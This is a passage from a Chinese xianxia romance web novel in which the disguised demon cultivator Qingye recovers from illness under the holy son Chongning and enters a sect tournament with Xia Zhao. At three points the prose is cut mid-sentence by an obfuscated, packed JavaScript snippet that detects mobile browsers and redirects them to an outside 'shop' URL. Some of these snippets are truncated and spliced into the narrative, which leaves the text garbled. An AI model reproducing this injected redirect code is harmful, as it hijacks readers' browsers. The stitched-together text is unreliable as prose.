但她心中其实清楚,如今这六界之中,已没有她真正的容身之处。 方才重宁的杀戮一幕,深深印在了青叶脑海间。 他不似往日温和沉静,手中剑气凌厉决绝,冰冷的气场笼罩整座隐月山。令人心悸。 * 这几日,青叶没有再去剑斋。 为了能真正重塑内丹,恢复往日修为,青叶想要赢下一月后的宗门试炼。 因此,这几日她都将自己关在房中练剑。 叠云峰山顶的古宅内有几处庭院,重宁将朝东的一间给了青叶居住。 每日清晨,阳光都会透过层叠薄雾,温柔地洒入院中,又被一棵枝繁叶茂的百岁榕树拂进室内,落下点点碎金光斑。 这几日的青叶,便每日随天光起身,在庭院里与凝霜相伴。 她已经将无垢宗剑谱翻得滚瓜烂熟,但先前为了掩人耳目,也为了躲懒,甚少认真练剑。 青叶本想着,等到了半年后,她哪还需要用剑呢? 她本可以如重宁一般,无需拔剑,便能以魔气塑剑身。 但原本想好的半年时间如今骤然缩短,青叶只得提起凝霜,老老实实地用剑法掩盖自己的魔修功法痕迹。 譬如,她得以君子之礼,正儿八经地用剑击溃对方,而不是直接探手,直捣对方胸口心脏所在之地…… 青叶本就天资不低,认真起来时进步飞速。她虽无法汇聚灵力,但凝霜剑气包容温和,周遭再稀薄低微的灵气它都不嫌弃,通通化为己用。 青叶第一次感受到用剑的妙处。 然而,她仍是病骨难支,破败的凡人躯体无法承受她高强度的练习。 在第三日,青叶练完剑谱最后一式后,她终是倒下了。 高烧发热,头痛如裂……这些从前几乎不会发生在她身上的病痛,偏偏在如今找上门来。 凡人躯体,真是脆弱啊。青叶这样想着。 她迷迷糊糊地蜷缩在床榻之上,裹着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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凛若寒霜的海水几乎将她的手冻僵,但青叶还是强忍着痛楚,毫不犹豫地探进自己的胸口。 ——她亲手捏碎了自己的魔丹。 青叶其实不知道自己能不能活。 她曾看过无数典籍,没有一本书上写过魔修弃丹渡海的先例。 但为了一线生机,她要试试。 下一秒,青叶的神魂仿佛被撕成两半,剧烈的疼痛让她无法维持神智清明,可胸口却仿佛有团活火一般,燃烧着,不肯屈服。 暗红的血色蔓延在海水中,玉京海上翻腾的巨浪在这一刻突然停歇,海底淤泥重新上升,活水涌进,冲淡了血腥气息。 一切都重新恢复了原状。 只剩海面上,一道纤细身躯漂浮着。 海水一改方才的冰凉刺骨,变得温润柔和,将青叶轻轻托起。 头顶的夜空辽阔明朗,流水拂过她的身躯,缓慢地修复着她的伤口。 她活了下来。 这是青叶脑中最后一个念头。 随后,她便昏迷了过去,任起伏的流水将她带走。 …… 再次有了些许意识之时,青叶只觉四周冰凉,伤口却不再剧痛,身体微微摇晃着,不知往何处去。 她蹙着眉,努力睁开眼睛,才发现自己被一层灵力包裹,安稳地躺在一叶小舟上,缓缓驶向彼岸。 “……抱歉。” 一道温润声音倏然响起。 “方才在近海除魔,误伤了你。” 误伤?可她明明是被逼落入了玉京海。 青叶茫茫然仰起头。 此刻夜空澄净,星子点点,有微风拂面,伴着淡淡柳叶清香。 那道声音的主人就立于她身侧,低眉望向她。 此人一袭白袍,长身玉立,腰间佩着一把剑,剑气凌冽,却被束缚于雪白剑鞘中。 他是个男子,但生了一副观音面,柔中带刚,肌肤是如玉质般的白,一双眼眸温和而慈悲,似是含情,不过细看,却只是一片冷清。 男人以灵力撑桨,护着她,引这只小舟缓缓向前。 微风阵阵,吹起他白衣猎猎,青叶一时有些恍惚,仿佛见到了泄在海面的一捧月光。 月光涉水而行,渡她过岸。 …… …… 青叶再次睁开了双眼。 日光取代了月光,洒落在身前白袍男子肩上。 重宁坐在她床前,玉冠束发,微凉的指尖搭在她前额之上,熟悉的灵力包裹着她,为她退热。 青叶仍有些迷糊,双眸无法聚焦。 恍然间,数道身影重合——除魔时冷酷无情的重宁,初遇时强大而慈悲的重宁,还有此时……守在她床前的重宁。 “醒了?” 此时的重宁神情温柔,又带着几分无奈,轻声开口,仿佛担心惊扰了她。 “病得这样重,也不通传我一声。” 4. 第 4 章 青叶努力眨了眨眼睛,神智一点点回笼。 然而下一秒,本能让她微微一颤,心中生出防备之意——重宁的灵力,会不会探查至她的体内? 她不能让他察觉到自己丹田的恢复程度。 幸好,重宁的灵力只是轻柔地覆在她的额前。 他很有分寸,不会在她无意识时将灵力侵入她体内。 “怎么了?”重宁察觉到她方才的颤抖,目光微顿。 方才那一瞬间,她似乎在怕他。 “做噩梦了吗?” 青叶沉默片刻,垂眸,低低地“嗯”了一声。 重宁的灵力停留在青叶额头上,指尖在虚空中一转,一朵淡金色的芙蓉幻化而出。 芙蓉花落在青叶白皙的手腕上,缓缓生出了叶片,叶片缠着她,环绕成一只玲珑手镯。 青叶凑近,嗅到淡淡清香,平和宁静,安抚着她此刻有些乱糟糟的心绪。 “别怕。”重宁轻声开口,“日后,它会陪着你入梦,为你挡下梦魇的侵扰。” 青叶伸出一只手指,碰了碰手镯上那朵金色的芙蓉花,花儿娇俏地抖了抖花瓣,蹭着她的指尖。 “它叫什么名字?” “梦吟。”重宁答道,“从此以后,你就是它的主人。” 青叶眼睫微颤,金色的花映入她清澈的眸中。 “现在,可以告诉我了吗?”眼见身前的少女似被哄好,重宁再次温和开口,“怎么让自己病成这样?” “练剑练得有些反噬……”青叶很快摆出一副无辜神情,“后来就失去意识了。” 重宁屈指,轻轻敲了敲她的额头,语气无奈: “先前叮嘱你的话,全都当耳旁风。” “你的身体,要先好好修养。” 他虽这么说,看起来却并没有责怪的意思。 但青叶抿了抿唇,心底却忽然涌出一丝委屈。 “都怪你。”她没来由地扔下一句。 此时的重宁,又重新回到了她熟悉的模样,待她有无限的温柔与宽和,好像可以纵容她做任何事情,包括无理取闹。 于是青叶忍不住展现任性的一面。 “又怎么了?”重宁失笑,“生我的气了?” “没有。”青叶低低地说。 明明是气鼓鼓的样子,却偏说没有。 “青叶姑娘不说的话,我要如何道歉呢?”男人的声音盈着笑意,覆在她身上的灵力轻轻一牵,拉住了她的袖口。 “……”青叶没想到这人竟学会了自己卖乖的那一套。 圣子大人这样和她说话,她着实有些没办法。 于是半真半假地开口:“那日和小芦去隐月山上看你除魔,有点被吓到了。” “觉得你的力量很强大,令人惧怕的强大。而我如今只是个丹田有损的凡人。连和宋子弦打一场都支撑不住。” “我也想变强。” “所以……宁愿被反噬,也想练好剑。” 青叶是个骗子。她经常撒谎,知晓只要将谎言和真话混着说出口,便能显得足够真诚。 事实是,她的确有些害怕。 于是恐惧滋生急迫之心,青叶迫切地要重新找回力量,才有抗衡之能。 她藏着些许防备的意图,于是并没有告诉重宁她想参加宗门试炼一事。 闻言,重宁沉吟片刻,最后开口: “是我的错。” “当初在玉京海,那魔物被我逼至海上,掀起波涛,这才误伤了你。” 大约七个月前,魔界内乱,祸及仙界,圣子重宁以云游之名出关,镇压流窜的魔物。 返程途中,他将一魔物逼至玉京海近海,战局结束后,恰遇上了漂浮在海水上的青叶。 青叶苏醒后,从重宁身旁小仙侍江小芦口中得知他们是无垢宗中人,当即便顺水推舟抱上了大腿。 很快,青叶又得知,这位把她从水里捞出来的白衣仙君,竟是赫赫有名的无垢宗圣子重宁。 重宁之名,青叶即使在魔界也有所耳闻。 此人年少成名,幼时被上界无垢神君选中成为圣子,又在十八岁那年征服了上古神剑玉衡——一把斩妖除魔,守护苍生之剑。 自此,他的名号也成为了无垢宗的象征。 又因他有上通神灵之能,引无数凡人修者膜拜,更使无垢宗坐稳了仙界魁首的地位。 然而,这样一位高高在上的人物,在锋芒最盛的时刻选择了闭关。这一闭关,便是百年的光阴。 直至魔界骤生动乱,仙界的安宁被打破,重宁才再次出关现世。 许多人猜测,或许这段时间他被无垢神君召去了上界修行。毕竟,天上一日,人间百年。 青叶不知道是真是假。 她只知道,这人百年来没接触过世事人情,想来应该……非常好骗吧。 在玉京海的那夜,她失去了魔丹,看上去不过是个稚弱的凡人少女。 玉京海是上古战场,荒弃已久,略显阴森。但因海底驻守的无数神佛亡魂,是许多凡人心中神圣之地,不乏有想要得道成仙之人私下前去祝祷拜祭。 因而夜晚偶有凡人出没,不算奇怪之事。 青叶顺势称自己先天丹田有损,自幼孤苦,双亲早逝,被仇家追杀,躲在玉京海附近。本是想夜里偷偷去向海底神佛祈愿,却意外被战局波及,卷入海中,丹田愈加受损,身体也受了重伤。 身上未好全的伤,也恰好有了合适的借口。 重宁听了,便真的对她心存愧疚怜惜,将她带在身边,百般照料,事事关心。 青叶想,她的行骗很成功。 否则,高高在上的圣子大人,如今又怎会对她这样好呢? 魔女青叶丝毫没有心理压力,将圣子大人的愧疚视作养分,甚至在对方的纵容下很顺心地过了这半年。 反正……仙魔向来对立。若有一日她暴露身份,肯定会被重宁一剑斩杀。 所以她利用一下对方又有什么关系呢? “日后若是在山下被欺负了,不必自己硬撑。” 在青叶的小心思还在脑中转来转去时,重宁忽而开口。 他伸手,轻点她手腕上的花镯,“只要通过梦吟呼唤我,我便会来为你撑腰。” “……”青叶听了,有些呆呆地望向重宁。 “真的吗?上次我打架那种小事……也可以喊你?”青叶问。 “自然。” 青叶心头微微一震。 她刚刚还在自得于自己的骗术和算计,没想到,重宁却忽然给了她这样珍贵的承诺。 这可是圣子大人的承诺。 他对她……似乎好得过头了些。 但青叶可是魔修,才不会因为一点恩惠感激涕零,她只觉得兴奋,狡黠地朝重宁一笑:“你就不怕,我遇上什么事都把你搬出来?” 她眨着眼,又添了句:“要是我干坏事了怎么办?岂不是败坏你的名声?” 重宁眼含笑意,盯着她说:“那我正好亲自下山将你抓回来,让你好好反省。” “……”青叶就知道这人没有这么大度。 不过,有了梦吟,以后她就算是被圣子大人罩着的人了,暂时不会在宗门里遇到危险。 而且……梦吟化成的手镯也很好看。 青叶从前没有戴过首饰,捧着自己的手腕新奇地左看右看。 再抬眸时,才发觉重宁的目光一直停留在她身上。 “开心了?”重宁淡声问,“看来病也好了些。还在生我的气么?” “哎呀……”青叶佯装虚弱,捂着胸口缩进了被子里。 重宁看穿她的小伎俩,伸手轻轻敲了下她的脑袋,语带无奈,“你是发热,不是胸口疼。” 青叶:“好可恶,不要拆穿我。” 话说回了她生病之事,重宁便又一次提醒:“日后不许再操之过急。你就不怕反噬太重,日后身陷病痛之中?” 青叶却一点儿不畏惧,“人生于天地,不过蜉蝣而已,除死生之外,又有何惧?” 她算是已经死过一次的人。 不会再有什么病痛比她捏碎魔丹那一刻还痛了。 只要不死,就没什么大问题。 若更多的疼痛能让她更快达到目标,青叶愿意接受。 重宁静静地望着她,眼中似乎蕴含着许多的情绪,最后低声道:“我会想办法尽快修复你的丹田。” 青叶怔了怔,没听真切,“你说什么?” “没什么。”重宁微微笑了,眼中情绪也消散不见,只说:“之前连喝苦药都皱眉,这次生病可要喝更多了。” “那……”青叶眼眸忽然变得亮亮的,攥住他的袖口摇晃,“这次可不可以吃更多的饴糖?” - 重宁走后,青叶又开始困了。 圣子大人很忙,没办法一直守着她用灵力助她恢复,便将些许有疗愈功效的灵力留在了一方绣着芙蓉纹样的帕子上。 虽然总做噩梦,但青叶变成凡人后还是很喜欢睡觉,也总是在睡觉时恢复身体。此刻她指尖摩挲着那方冰凉柔软的帕子,又一次陷入梦乡。 这一次,有梦吟的陪伴,她没再做噩梦。 再睁眼时,守在床畔的人换成了江小芦。 小仙童规矩地坐在小凳上,用灵力捧着一碗药,显然是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780529|190395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等她醒来。 青叶揉揉眼睛坐起来,唇角一勾,就开始逗小孩:“小芦,没有别人同意,不可以随便进女孩子房间哦。” 江小芦一愣,急急道:“啊?那仙君之前怎么能进来?” “……”一句话将青叶堵了回去。 只好轻咳两声,“仙君当然是为了查看我的病情呀。” 虽然事实如此,但不知为何,青叶莫名有点心虚。 ……有什么好心虚的?青叶抬手敲了敲自己的脑袋。 “我也是!”江小芦忙证明自己,捧着手中的药碗站起来,“仙君特地嘱咐我,药熬好后送来给青叶姐姐喝。还让我不能惊扰你休息,所以我一直等着呢。” “好啦好啦。”青叶不忍再逗他,接过一直被温着的药碗,“谢谢小芦,小芦真是体贴的小孩。” 江小芦有些不好意思地低下头,小声道:“青叶姐姐,其实我也有错。” “仙君说你是练剑被反噬了,但我一直在想,是不是那天非要拉你去隐月山,才让你着凉了。” “隐月山上清晨总是很冷,我应该记得提醒你带上厚些的衣服的。” 江小芦眼底有些自责之意。他想,自己是宗门天资卓绝的仙童,不畏寒凉,但青叶还是身体虚弱的凡人,修为浅薄,他不应该忽略这点才对。 青叶后来也想过,也许真是那一日的缘故。掌门山上的剑气森寒浩荡,不然以她逐渐恢复的体质,不至于反噬至此。 但这也不是小芦的错。 她揉了揉小芦毛茸茸的脑袋,温声道:“小芦懂得怜惜弱小,很有仙风道骨嘛。” “别自责了,这不是你的错。而且,我已经快好了。” “青叶姐姐真好。”江小芦吸了吸鼻子,眨巴着眼睛看向青叶。 “其实……”江小芦又小声道,像是在坦白心事,“最初和青叶姐姐相遇时,我不太喜欢你。” “嗯?”青叶微微挑眉,倒是不知道还有这一出。 “那日,我与仙君在玉京海遇见青叶姐姐之前,我曾卜过一卦。” 江小芦无意识地抠着手指,声音低了几分,“卦象显的是明夷卦——火入地中,光明被掩,正是君子遭难之兆。” “占卜之后,我便提醒仙君那日不利出行,但不知为何,仙君执意要去玉京海除魔。” “我心里惴惴不安,生怕遇到强大无比的魔物,会不会让仙君受伤。可那日除魔竟顺利得很,仙君将那魔物逼至玉京海上,海浪遇魔便滚滚翻涌,仙君又一剑劈开浪潮,连浪花都带着金光。” “那天唯一的变数,就是遇见了青叶姐姐……” 青叶端着药碗的手微微一紧,她低眸静静听着,没有回应。 “我第一次看见你时,你躺在破旧的小舟上,湿发贴在脸上,衣摆滴着水,肤色苍白得惊人,我差点以为是仙君从海里捡来的水鬼……” “反正……我那时总觉得你看起来很诡异很危险,怎么能将这样的人随便带回宗门呢?可我也不好质疑仙君的决定。” “但这半年来,我已经完全相信青叶姐姐了。”江小芦说着,眼神忽而亮了起来,“你温柔又善良,对待宗门内不怀好意的声音总是很宽容……对我也很好,我偷懒的时候总是帮我在仙君那里遮掩……” “……真的吗?”青叶下意识道。事实上,这是第一次有人用“温柔善良”来形容她。 从前魔界焚月塔里那些妖魔,见了她便要喊一声“睚眦必报的大魔女又来了!” “当然是真的。”江小芦笃定道,“别看我人小,我看人很准呢。况且,自从青叶姐姐来了之后,山上再也不像从前一般冷寂了。” “满山的花都是青叶姐姐养的。从前只有风声呼啸的叠云峰,如今也像掌门的隐月山一般有了花香鸟声。” “连仙君……都不像从前那样孤僻了。有青叶姐姐在的时候,仙君总是心情很好的样子。” 青叶支着下巴,沉吟不语。 对宗门之人宽容,是因为那些敌意太微不足道,她不屑放在心上;帮江小芦遮掩,是因为她自己也想偷懒;而叠云峰上的花鸟们,不过是为养玉髓花而做的掩饰,反正她先前闲着也是闲着。 至于重宁的改变……嗯,她好像真的没有意识到。 也许是她演着演着,将自己演进去了。相处得太过自然,因而,便觉得她和重宁之间本该如此。 但……真的本该如此吗? “总之,我想当初那一卦,肯定是算错了。”江小芦挠了挠头,笑起来,露出两颗尖尖的小虎牙。 “我从前自诩在占卜一道上有天赋……虽然很不想承认,但我也会有出错的时候呢。” 5. 第 5 章 青叶喝了药的第二天,帕子上重宁留下的灵力耗尽,她也差不多恢复了身体。 今日是宗门大比报名之日,她记在心里,于是换上一身淡黄色的宗门服制,下山去报名。 青叶这次仍是步行下山,只是不同于往日那般虚弱,脚步显然轻快了许多,几乎如沾风而行,鞋底仿佛未曾触地一般。 那三日的练剑虽让她大病一场,却也有了炼体之效。 剑斋内此时十分热闹。只不过今日前来的弟子们不是在练剑,而是列队在一方长案之前,来报名宗门大比。 几只羽翼雪白的灵雀掠过堂中,振翅翩飞,逐一将一卷轴衔至弟子们手中。 青叶也伸手接过一卷,卷轴以朱砂封口,翻开后,便是这次大比的规则。 上面写着,参加大比的弟子可三人以内组队,也可独自一人入阵。弟子们将进入宗门内的千机幻境之中,幻境共四关,碧云雪草便放在第四关内。 一旦有人拿到碧云雪草,幻境便会关闭。除碧云雪草外,宗门也有丰厚的天材地宝赐予夺得前列的弟子们。其他弟子通过的关卡或是淘汰的弟子越多,拿到的奖励也越多。 其余规则十分简明,仅两条:不得滥杀同门,不得使用佩剑之外的兵器。 只能用剑……好吧。青叶想,不愧是剑修,如此老古板。 她排在队伍末尾,看完卷轴后,再抬头,才发觉剑斋内弟子都注意到了她。 不少人一边偷偷看她,一边窃窃私语。 “一个没有内丹的病秧子,也来参赛?” “嘘——她上次可打败了宋子弦!” “不过侥幸一击罢了,她最后不也反噬吐血了么?” 风言风语掠过青叶耳畔,青叶神情不变,只是抬头,平静地扫视着那些议论之人。 弟子们果然不敢再盯着她看,喋喋不休的议论声低了几分: “她看过来了,不会要找我组队吧?” “……你想多了吧。” “不过话说回来,她有人合作吗?还是……她要一个人参赛啊?” 幻境之内危险丛生,为了获得更高的分数,参赛的弟子们大多数都会选择与同门联盟组队。毕竟,往年的幻境试炼中也不是没有死过人。 但青叶早已想好,她要独自一人。 反正宗门内也没有熟识之人,就算有,也没人会和她组队吧。 那日她揍翻宋子弦的事迹虽然在宗门中有所传播,但弟子们终究会顾忌她没有内丹这一事实。 没人会想要一个拖后腿的队友。 更何况,青叶的目标很明确。她要碧云雪草。 身为魔修的自私本性在作祟——若是组队,别人要和她平分怎么办? 所以,她宁愿独行。 队伍渐渐缩短,陆续有弟子报名成功。就在即将轮到青叶时,剑斋门口传来一阵不小的动静,一队人马浩浩荡荡地走了进来。 “啊,是玉丹长老门下弟子!”有人认出了那一行人,语气中带着几分敬畏。 青叶先前有所耳闻,玉丹长老是宗门内剑道第一人,门下弟子也大多自诩高人一等。 她目光落在队伍的最前方,才发现,队伍为首的几人中,有一个竟是宋子弦。 宋子弦昂首进了剑斋,显然也看见了她,冷哼一声,径直带着身后几人,毫不客气地插到了队伍最前方。 青叶皱眉,开口:“下一个是我。” 宋子弦讥诮地笑了一声,“我奉师尊之命带门下弟子前来登记,你不该为我让位么?” “我不。”青叶也朝他笑了笑,笑中却泛着冷意,“让开。” 宋子弦没想到今日和师门之人一同前来,她还如此强硬,正要发作时,却见青叶的手已经不动声色地放在了腰间的佩剑上。 那一日在剑斋的耻辱再次涌上心头,这一回旁边围观的弟子更多,若再起冲突,他的脸往哪搁? 宋子弦强忍下怒气,决心不来硬的,而是故作轻松地阴阳怪气道:“你也来参赛?你有师门队友么?” “我一人参赛。”青叶没有看向宋子弦,而是和身前负责登记的弟子开口。 “啊……”后者只是个外门弟子,他不认识青叶,但知道宋子弦不能得罪,于是此刻战战兢兢,也不知是否要给青叶登记。 “一人参赛?”宋子弦给了登记的弟子一个眼神警告,又出声嘲笑青叶:“哦,我差点忘了,你压根都没有师门,也没有同门,怕是整个宗门内根本没人愿意和你做队友吧!” 他声线洪亮,显然是想当众羞辱青叶,呈口舌之快。 周遭围观的弟子不禁议论纷纷,不乏有人发出暗暗的嘲笑声。 青叶的脸色并未有丝毫变化,她手指在凝霜剑上正微微收紧,一只柔软的手却在此时覆上她的手背,暗暗止住她。 “谁说没人愿意?”一道清脆女声忽然响起。 青叶循声看去,身旁之人,正是和她有过两面之缘的夏昭。 夏昭一头墨发束起,神色朗朗。她在青叶耳畔悄声说:“玉丹长老今日下山,莫要和宋子弦起冲突。” 随后,她又不紧不慢地走到宋子弦面前,“宋子弦,长老今日派我们来剑斋,是为了登记大赛名额,而非为难他人。” “另外,谁说这位姑娘没有队友?我愿做她的队友,只不过,她还尚未答应我罢了。” “……夏昭,你又来和我作对。”宋子弦的面色一阵青一阵白,咬牙切齿道,“再怎么说,我可是你的师兄。” 青叶这时才看明白,原来夏昭和宋子弦皆是玉丹长老门下弟子。 “我既身为师妹,自然有义务劝导师兄。”夏昭笑了,“长老很快就到,师兄,我们还是做正事吧?” 宋子弦额头青筋爆起,然而在这群弟子的注视下,他无法再继续争执。瞪了那登记的弟子一眼后,他终于咬牙道:“请吧。” 那名登记弟子在一旁几乎吓得不敢喘气,见状战战兢兢地拿出一只玉盘,小心翼翼地道:“请二位按下手印,便算登记成功了。” 夏昭朝青叶投来一抹意味深长的眼神,伸手覆上玉盘,指尖轻触之间,淡蓝色的光芒一闪而过。她低声对青叶说道:“没关系,如果你不愿意和我一队,报名结束前还可以更改。” “只是此刻,我想替你解围。” 她如此善解人意,青叶向她投去感激的眼神,也伸手放在了玉盘之上。 然而片刻后,登记弟子为难地开口:“夏昭仙子登记成功,但这位青叶姑娘……无法登记。” “为什么?”青叶疑惑道。 “青叶姑娘,玉盘检测不到您所属师门……”登记弟子的声音更小了,“没有归属的弟子,无法参加比试……” “什么时候有这样的规定?”夏昭皱起了眉,“只要是宗门内弟子,皆可参赛才对。” “对不起,但这里检测不到青叶姑娘的师门……无法登记……”那弟子不敢看她们的眼神,只是低头重复这句话。 一旁的宋子弦嗤了一声:“原来根本没有参赛资格,还在这里浪费别人时间?让开吧!” 青叶不想理会他。她清楚,那个登记弟子在宋子弦的威压下,恐怕是不会再改口了。她拉着夏昭,准备先行离开,再想办法解决。 宋子弦此刻却不依不饶,讽刺道:“看来我之前说错了,还没进幻境,在登记之时便要灰溜溜滚走了!夏昭,你也跟着你的废物队友一起滚吧!” 青叶闻言脸色一沉,无法再忍耐。银光一闪,凝霜剑出鞘,剑尖寒光四射,直指宋子弦的咽喉。 “闭上你的狗嘴。”青叶冷笑道,“不然,我不介意像上次一样把你揍翻。” 她周身的灵力骤然开始波动,围绕着青叶,汇聚在她手中剑上。 在灵力的流动中,青叶手腕上的梦吟忽而闪烁出细小的光芒。 “……”宋子弦是个色厉内荏的家伙,没想到青叶真会拔剑,顿时呆在原地。 “是不是又要打起来了!”周围的弟子们一见二人剑拔弩张,顿时兴奋起来。 二人僵持住,宋子弦摸了摸腰间的佩剑,正在犹豫要不要打时,夏昭走上来,再次温柔地按住了凝霜。 但她眼神中却充斥着警告之意,对着宋子弦开口:“师兄,我方才已经说过一次,师尊今日派我们来,不是来打架的。” 宋子弦眉头一跳,终究顾忌着玉丹长老,于是放下了手,冷哼一声:“夏昭,冲动的可不是我。” 青叶见夏昭朝她微微地摇了摇头,最终还是收回了剑。 夏昭握住青叶的手,正准备要带她先离开时,一个小小的身影忽然急匆匆地冲进了剑斋。 “小芦?”青叶愣住了,没想到江小芦竟会突然出现在这里。 众人也认出这是圣子身边的仙侍,纷纷让出一条道来。 “青叶姐姐,你……你……发生什么事了吗?”江小芦气喘吁吁地奔至青叶身旁,抓住她另一只手,上下打量她有没有受伤。 “慢点说话。我没事的。只是今天本想报名宗门大比,但刚刚却发现,自己好像没有报名资格。”青叶摸了摸江小芦的脑袋,解释道,“别担心。” “你要报名宗门大比?没有资格?这是怎么回事?”江小芦瞪圆了眼睛。 夏昭及时上前,同他说了刚刚发生的一切。 “哦,原来是这样。”江小芦知晓青叶并没有打架,也没有受伤,这才松了口气,放下心来,“这有何难?将青叶姐姐记在我们仙君门下即可。她本就是我们叠云峰之人。” 听此一言,周围众人皆震惊。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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青叶看着脚下的小石子,脚尖轻轻踢动,碎石滚落水中。她开口:“那你带我过来,不担心以后练剑时会有人打扰吗?” 夏昭用一种很新奇的目光看向青叶:“青叶姑娘,你可真是个有趣的人。” “我带你过来,就是想和你共享我的秘密基地。” “你愿意和我做队友吗?不成的话……我们也可以做朋友。” 夏昭笑着说,很直白又真诚。 青叶微微有些愣住。内心的防线本能地在作祟,她低头不语,尝试逃避,但失败了。 她好像不太能拒绝这样的人。 “嗯……可以做队友。”青叶在做最后的抵抗,“但我参赛,是为了碧云雪草。” “我必须要得到它,并且不会让给任何人。” “原来是这样……”夏昭沉吟,“你想要用碧云雪草来聚成金丹,对不对?” 青叶点头。 虽然,并非金丹,而是魔丹。 “那很好办。”夏昭提议道,“我会助你,如果拿到了碧云雪草,我们赢下的其他奖励全都归我,怎么样?” “成交。”青叶很爽快地答应了。 反正,其他的奖励对她而言也没有用。 “好呀,队友的事情解决了,那……”夏昭笑得灿烂,忽而凑近她,睫毛在她眼前忽闪忽闪,“朋友呢?” 青叶:“……” 她从没有过朋友。 魔修之间只有利益,没有朋友。 “没关系。”夏昭见青叶沉默,并没有勉强她,“这个答案,你可以想很久。” 青叶于是松了一口气,换了个话题:“你刚刚说要帮我拿到碧云雪草。你真的相信我会成功吗?” 她有些疑惑。因为宗门内大多数弟子连对她参加宗门大比这件事都嗤之以鼻。 “我不知道。”夏昭摸了摸脑袋,透着一股无所谓的轻松,“但你说想要,那我们就去拿吧。” “那确实是个好东西呢,对你的体质而言也很重要。” 青叶:“……” 她看出来了,夏昭表面上看起来很温和文雅,其实是个随意率性之人。 青叶也如实告诉了夏昭自己的感受。 后者忽而笑起来,“人都是多面的。” “你不也是吗?”夏昭说,“我本以为你沉默隐忍,但你又总在我意想不到的时候举起剑来。” “小青叶,你是不是没有意识到。每一次你和宋子弦对峙,其实都是为了别人。” “第一次在剑斋,是因为他暗讽了圣子大人。而这一次,是因为他侮辱了我。” “……” 青叶不想承认,她默不作声地低着头,将脚下的小石子骨碌碌地踢远了。 最终,她还是忍不住开口:“……不许叫我小青叶!” 6. 第 6 章 傍晚降临,天幕渐渐染上了橘紫色的光晕。山风带着秋意掠过树梢,卷起几片枯叶飘落。 青叶与夏昭告别后,又踏上了回叠云峰的石阶。 石阶两旁的灵植受了霞光滋养,叶片边缘泛着细碎的金芒。山巅的古松伸展着枝桠,像是在迎接她。 青叶穿过松林,回到古宅内,就要去重宁的院落寻他。 今日在剑斋的事情,她还得问问他——江小芦是怎么如此精准地知道她在何处的? 青叶低头看自己手腕上金色的梦吟镯。她在想,这东西难道有定位的效用吗? 江小芦今日虽是来帮她的,但青叶不免警惕,重宁会不会是发现了她的端倪,以这手镯来监视她呢? 她推开重宁的院门,便见庭院里的石桌上放着晾晒的草药,晚风拂过,草药的清苦香气便漫了开来。 青叶嗅到熟悉的气息——那是重宁亲自为她配的药。 她的警惕之心不禁有些软了下来。 但不论如何,青叶还是要去找重宁试探一番。 她穿过内院,转过回廊,就见江小芦拎着一盏灵灯站在重宁的寝殿前。暖黄色的灯光将他小小的身影笼罩其中,他大概是等了许久,见青叶过来,先是揉了揉眼睛,随即打了个大大的哈欠,道:“青叶姐姐,你是来找仙君吗?他今夜在静室呢。” 青叶脚步一顿。 她自然知道,每隔一月,重宁都会进入寝殿内的静室。 这是他身为圣子的职责。在密闭的室内,摒除一切杂念,念诵抄写无垢心经,用澄澈的心境与上界神域相连,等待无垢神君的诏令。 可神君的讯息吝啬得很。百年来,真正传下的诏令不过寥寥数次,每一次都由无垢宗昭告整个仙界,引得万仙瞩目。 更多的时候,重宁不过是在那间寂静的屋子里枯坐一夜罢了。 青叶之前得知这事时,便想,当圣子果然又累又无聊。 江小芦见她望着门出神,晃了晃手里的食盒,“这里面是宗门膳房刚送来的点心,用晨露和灵米做的,灵力足得很。” 他守在这里,是想要给重宁送点心,也是因为若无垢神君降下什么消息,他得帮忙传信给宗门中人。 但江小芦很容易犯困,和青叶说几句话的期间,已经打了好几次哈欠。 青叶摸摸他的头,说:“我来等吧,小芦先去睡。若真有神君诏令,我再去叫醒你。” “嘿嘿,好呀。”江小芦立刻开心起来,“这次也多谢青叶姐姐啦!” 青叶接过食盒,看着江小芦离开的背影,坐在了重宁寝殿门前。 自从上次病愈后,青叶觉得自己的力量又恢复了不少。藏匿在体内的那丝魔气顽强地支撑起她的躯体,以至于时至深夜,她也一点儿都不困。 今日月圆,月华如水般漫过山巅,与她身旁那盏灵灯的光晕交织在一起。 不知过了多久,青叶身后的隔扇门亮起微光,是有人点亮了灯。 身后的隔扇门被从里推开,男人高大的身影覆在她的影子上,青叶转过头,撞上重宁身上淡淡的凝神草气息。 “更深露重,衣摆都湿了。” 他低头望向她,随手施展术法,除去青叶衣衫上沾染的露水。 青叶从前也帮过偷懒的江小芦几次,所以重宁并不惊讶于她的到来。 男人向室内走去,青叶跟在他身后,道:“这次有神君的传讯吗?要我去叫小芦吗?” “不必,今夜无事发生。” 果然如此。青叶想着,无垢神君可是上界的天神,哪有那么多话要说呢? 这种无聊的活计她觉得一年一次就差不多了。 重宁似是看出了她的心思,说道:“入静室是为表对神君的虔诚。” “我知道。”青叶说,“但无垢神君是天神,天神对子民慈悲,会计较这点小事吗?” 这种仪式,肯定是宗门造出来的,为了约束他们的圣子,让他永远自持守身。这份虔诚,既是对神君,更是对无垢宗。 但这话青叶没有说出来。 她抿唇,看向寝殿内放置在一座高台上的玉衡剑。 青叶清楚地记得初见重宁时,感受到的霸道剑气,还曾期待过这把剑出鞘时的场面。 